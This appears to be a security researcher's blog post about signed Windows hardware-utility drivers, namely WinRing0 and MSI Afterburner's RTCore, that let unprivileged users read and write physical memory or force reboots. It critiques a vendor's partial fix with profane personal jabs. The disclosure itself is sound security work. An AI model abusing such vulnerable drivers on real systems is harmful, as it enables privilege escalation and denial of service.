Normally if your driver is something more complex than kernel mode "hello world" and has data read/write to user mode it must contain security checks. For example you can limit access to your driver using IoCreateDeviceSecure or/and check security context in your IOCTL handler, requester privileges etc - there are many ways to do that in the *right way*. If you for some reason cannot use shiny new APIs (for example, you are supporting Windows 2k 👻) you still can secure driver device using Rtl SD/Ace/Dacl documented APIs and ZwSetSecurityObject. It is not a problem.

The lack of security checking is a very common problem for software supposed to work with hardware. Few examples: system utilities (CVE-2017-15303), overclocking and other software from GPU/hardware vendors (CVE-2018-18536, CVE-2019-8372), hardware monitoring utilities (CVE-2018-8060, CVE-2018-8061), bios flashers (CVE-2019-5688) etc. A lot of them. Practically ALL drivers of that kind that I was investigating were vulnerable or based on vulnerable code. 

Pic 5. Choose your exploits provider.

If you need an example, here is it https://github.com/QCute/WinRing0/blob/master/dll/sys/OpenLibSys.c. This is open-source OpenLibSys driver from hiyohiyo who are now supposedly author of CrystalMark. The following driver named WinRing0 and used in multiple products up to date in mostly unmodified state (as WinRing0.sys, WinRing0x64.sys, could be different names). It lacks any security checks and just a wormhole driver by design. Its irony, but it has been reported as CVE-2017-14311 exploit for Netdecision 5.8.2 software few years ago. This driver is still used in various products in unmodified state. Here is a simple example how any unprivileged user can read/write to physical memory with help of that driver shipped together with EVGA Precision X OC v6.2.7. Probably this can be improved to local privileges elevation exploit similar to  CVE-2019-8372.

There is a nice collection of this kind of drivers with brief descriptions made by Eclypsium, https://github.com/eclypsium/Screwed-Drivers/blob/master/DRIVERS.md Please note that some vendors already provided new versions with improved security (for example Intel) and this list is incomplete, also you still can find exact old vulnerable drivers and use them.

If you look on "giveio" drivers from various vendors you will notice - they all almost the same, they only differ little in some implementation details and internal structures used to communicate with user mode. And they all of course signed 😊


RTCore wormhole*
*(c) hfiref0x, 2020
CVE-2019-16098 was targeting exact MSI Afterburner version - 4.6.2.15658, it is Afterburner 4.6.2 Beta 2. However given exploit will work with older versions of MSI Afterburner as they include same driver. In the next Afterburner version Unwinder proposed a fix for this CVE, you can find a little about it in the changelog (https://www.guru3d.com/files-details/msi-afterburner-beta-download.html) 

"Updated IO driver provides more secure MMIO and MSR access interface". 

More precisely it means that memory mapping IOCTLs now work only for hardware IO reserved address ranges. And he banned arbitrary MSR read/write, setting up restrictions on their IOCTLs. Driver also got EV certificate. This interesting though this exact "fixed" RTCore present only since MSI Afterburner 4.6.2 Beta 3, while it is pretty much similar to fixes announced by Unwider three years ago in comments to the rewolf post - MSI ntiolib.sys/winio.sys local privilege escalation. 

Pic 6. RTCore fix, announced in September 2016.

Even if this is, judging from Unwinder comment, partial fix - it is notable this updated RTCore component wasn't distributed with MSI Afterburner, until Barakat published his proof-of-concept and got CVE. How much other software with bundled RivaTuner code still not updated their RTCore related code base (even if these components may have different names)? Speaking about ethics, which is mentioned by Unwinder in above response to CVE-2019-16098, how does that correlates with it too? You have extremely vulnerable driver which code base used by different products, you have produced some "security related" changes, and for three years didn't even updated your own MSI Afterburner. Just because no one gives a single fuck until you got upset with publicly available CVE forcing you to jump to the twitter/issues shitpostings. This is hilarious, Unwinder. 

Okay, additions he made makes sense and question is only why there weren't here from the beginning. But seriously, is that the only problem this guy found? 😊 While Unwinder really likes to go on demagogy discussions about Windows security model, he still doesn't know how to use wdmsec.lib, maybe because MSI Afterbutner RTCore driver got compiled in something like Visual Studio 2005/2008 with DDK likely from Windows XP/Vista. No joke, just look at this driver structure. As you understand we still can use this driver for a range of bad things. For example for Denial of Service attack.

This is simple proof-of-concept code for "fixed" RTCore from MSI Afterburner 4.6.2.15745 release, it will write specific data to the I/O port to initiate immediate system reboot which can lead to data loss and/or potential hardware damage. From unprivileged, guest, whatever account. This of course will also work for previous variants of RTCore if they support required IOCTLs. That is not all - this driver still has a lot of potential, because there are multiple other IOCTLs.

The simple solution to that wormhole named RTCore is to move it into OS security boundary and stop bitching about self-made problems as Unwinder still does. Or do as I did many years ago - throw all these CD/DVDs supplied by GPU vendors with their crapware to the trashcan along with their authors as an ultimate solution to the security of this vector.